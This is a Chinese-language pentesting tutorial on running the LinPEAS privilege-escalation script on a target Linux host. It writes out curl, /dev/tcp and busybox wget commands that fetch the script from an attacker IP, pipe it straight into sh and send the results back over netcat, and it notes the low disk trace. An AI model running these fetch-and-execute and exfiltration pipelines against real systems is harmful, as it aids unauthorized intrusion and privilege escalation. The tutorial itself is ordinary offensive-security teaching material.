在渗透测试和权限提升评估中,LinPEAS(Linux Privilege Escalation Awesome Script)是⼀个⽤来搜索类unix主机上可能的提权路径的⾃动化脚本。本文将介绍使用 LinPEAS 的最佳实践方案,并针对不同环境(如无 curl
的情况)提供替代方案。
一、最佳实现方案
在受控测试环境中,我们可以使用 curl
下载 LinPEAS 并直接执行,同时将扫描结果回传至攻击机进行分析。这种方式的主要优点是快速、高效,并且由于通过数据流直接传输,减少了磁盘痕迹。
1. 远程主机准备工作
在攻击机(假设 IP 为 192.168.56.100
)上,我们需要:
- 运行一个 HTTP 服务器以提供 LinPEAS
- 监听端口接收 LinPEAS 的扫描结果
步骤 1:开启 HTTP 服务器(提供 LinPEAS)
python -m http.server 80
或者使用 busybox
:
busybox httpd -f -p 80
步骤 2:开启 Netcat 监听端口 81,接收 LinPEAS 输出
nc -lnvp 81 | tee linpeas.out
2. 目标主机执行 LinPEAS
目标机上使用 curl
下载并执行 LinPEAS,同时将输出通过 nc
发送回攻击机:
curl -s 192.168.56.100/linpeas.sh | sh | nc 192.168.56.100 81
说明
curl -s 192.168.56.100/linpeas.sh
:静默下载| sh
:通过管道立即传递给 sh 解释执行| nc 192.168.56.100 81
:将结果传输回攻击机
3. 远程主机查看结果
在攻击机上,可以使用 less
解析 linpeas.out
文件:
less -r linpeas.out
其中 -r
( --raw-control-chars
) 选项可以正确显示颜色格式,以便更清晰地查看 LinPEAS 结果。
二、无 curl
解决方案
在某些受限环境中,目标机可能没有 curl
或者 wget
,此时可以使用以下替代方案。
方法 1:使用 /dev/tcp
直接获取 LinPEAS
如果 bash
版本支持 /dev/tcp
,可以使用:
cat < /dev/tcp/192.168.56.100/80 | sh
说明
/dev/tcp/192.168.56.100/80
是 bash 内置的功能,直接与远程 HTTP 服务器通信cat
读取 LinPEAS 并传递给sh
执行
方法 2:使用 scp
传输 busybox
如果目标机没有 curl
,可以通过 scp
传输 busybox
,然后利用 busybox
提供 wget
或 nc
:
scp busybox 目标机:/tmp/
ssh 目标机
cd /tmp/
chmod +x busybox
./busybox wget http://192.168.56.100/linpeas.sh
sh linpeas.sh | nc 192.168.56.100 81
说明
busybox
是一个精简的 Unix 工具集合,包含wget
、nc
等工具- 目标机下载
linpeas.sh
后手动执行并传输结果
三、总结
方法 | 适用场景 | 依赖项 | 备注 |
---|---|---|---|
curl 方式 | 目标机有 curl | curl , nc | 推荐方案,简单高效 |
/dev/tcp 方式 | 目标机无 curl ,但 bash 支持 /dev/tcp | bash | 适用于受限环境 |
scp + busybox | 目标机无 curl ,但有 scp | scp , busybox | 需要先传输 busybox |
在渗透测试过程中,根据目标环境的实际情况选择合适的方法,可以更高效地执行 LinPEAS 进行权限提升评估。